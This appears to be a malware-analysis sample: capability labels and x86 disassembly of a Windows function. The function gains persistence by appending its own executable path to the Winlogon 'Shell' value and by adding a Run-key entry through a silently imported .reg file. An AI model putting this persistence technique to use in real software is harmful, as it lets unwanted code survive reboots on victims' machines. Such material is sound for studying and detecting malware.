Function at 0x40f500
Capabilities:
Create process on windows
Persist via run registry key
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x413ce4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x270
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], esi
call sub.MFC42.DLL_CString::CString_4
xor ebp, ebp
push 0x100
push 0x100
lea ecx, [esp + 0x24]
mov dword [esp + 0x290], ebp
call sub.MFC42.DLL_CString::GetBuffer
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::MakeLower
mov dword [esp + 0x20], ebp
lea ecx, [esp + 0x18]
mov byte [esp + 0x288], 1
mov dword [esp + 0x2c], 0x100
call sub.MFC42.DLL_CString::CString_4
lea eax, [esp + 0x10]
mov byte [esp + 0x288], 2
push eax
push 0xf003f
push ebp
push str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000001
mov dword [esp + 0x24], ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebp
jne 0x40f68b
mov ebx, dword [esp + 0x10]
push 0x100
lea ecx, [esp + 0x1c]
mov dword [esp + 0x24], ebx
call sub.MFC42.DLL_CString::GetBuffer
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x10]
push ecx
push eax
push edx
push ebp
push str.Shell
push ebx
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
mov edi, eax
call sub.MFC42.DLL_CString::ReleaseBuffer
cmp edi, ebp
jne 0x40f674
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::MakeLower
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
call sub.MFC42.DLL_CString::Find_1
cmp eax, 0xffffffff
jne 0x40f674
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x14]
push ecx
push str.explorer.exe_
push edx
call sub.MFC42.DLL_operator_2
push str.__Clear
push eax
lea eax, [esp + 0x18]
mov byte [esp + 0x290], 3
push eax
call sub.MFC42.DLL_operator_1
mov edi, dword [eax]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push ebp
push str.Shell
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x10]
mov edi, eax
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x288], 2
call sub.MFC42.DLL_CString::CString
cmp ebx, ebp
je 0x40f683
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x20], ebp
cmp edi, ebp
je 0x40f9f7
lea ecx, [esp + 0x30]
call fcn.004123b2
lea ebx, [esi + 0xec]
push str.d8gasdb.reg
lea ecx, [esp + 0x18]
push ebx
push ecx
mov byte [esp + 0x294], 4
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push ebp
push 0x1002
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0x294], 5
call sub.MFC42.DLL_CStdioFile::Open
lea ecx, [esp + 0x14]
mov edi, eax
mov byte [esp + 0x288], 4
call sub.MFC42.DLL_CString::CString
cmp edi, ebp
je 0x40f906
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::CString_2
push 0x41a160
push 0x418394
lea ecx, [esp + 0x18]
mov byte [esp + 0x290], 6
call sub.MFC42.DLL_CString::Replace
push str.Windows_Registry_Editor_Version_5.00_n
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CStdioFile::WriteString
push str._HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun__n
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CStdioFile::WriteString
push 0x41a0e4
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CStdioFile::WriteString
lea eax, [esp + 0x10]
push str.__Clear__n
lea ecx, [esp + 0x18]
push eax
push ecx
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x28c], 7
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x14]
mov byte [esp + 0x288], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CStdioFile::Close
add esi, 0xf0
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0x48]
push str._regedit.exe
lea edx, [esp + 0x18]
push esi
push edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x50], 0x3c
mov dword [esp + 0x54], 0x40
mov dword [esp + 0x58], ebp
mov dword [esp + 0x5c], ebp
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x28c], 8
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x288], 6
call sub.MFC42.DLL_CString::CString
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x41a0c4
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x8c]
mov dword [esp + 0x60], ecx
call sub.MFC42.DLL_operator_2
push str.d8gasdb.reg
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x290], 9
push eax
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x28c], 0xa
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x288], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x288], 6
call sub.MFC42.DLL_CString::CString
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x180]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x44]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x184]
mov dword [esp + 0x60], ebp
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x64], ebp
mov dword [esp + 0x68], ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov eax, dword [esp + 0x7c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push str.d8gasdb.reg
lea ecx, [esp + 0x28]
push ebx
push ecx
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
mov ecx, dword [esp + 0x28]
push eax
mov byte [esp + 0x28c], 0xb
call fcn.0040fbd0
lea ecx, [esp + 0x24]
mov byte [esp + 0x288], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x288], 4
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x10]
mov dword [esp + 0x10], ebp
push edx
push 0xf003f
push ebp
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebp
jne 0x40f9e6
mov ecx, dword [esp + 0x20]
xor eax, eax
cmp ecx, ebp
je 0x40f93e
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x10]
cmp eax, ebp
mov dword [esp + 0x20], esi
jne 0x40f9e6
push 0x100
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::GetBuffer
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x28]
push ecx
push eax
push edx
push ebp
push 0x41a0b8
push esi
mov dword [esp + 0x40], ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::MakeLower
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
call sub.MFC42.DLL_CString::Find_1
cmp eax, 0xffffffff
jne 0x40f9d7
lea ecx, [esp + 0x1c]
push 0x41a0b0
lea edx, [esp + 0x28]
push ecx
push edx
call sub.MFC42.DLL_operator_1
mov edi, dword [eax]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push ebp
push 0x41a0b8
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString
cmp esi, ebp
je 0x40f9e6
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x20], ebp
lea ecx, [esp + 0x30]
mov byte [esp + 0x288], 2
call sub.MFC42.DLL_CStdioFile::CStdioFile
lea ecx, [esp + 0x18]
mov byte [esp + 0x288], 1
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x20]
pop edi
pop esi
cmp eax, ebp
pop ebp
pop ebx
je 0x40fa1b
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xc]
mov dword [esp + 0x278], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x270]
mov dword fs:[0], ecx
add esp, 0x27c
ret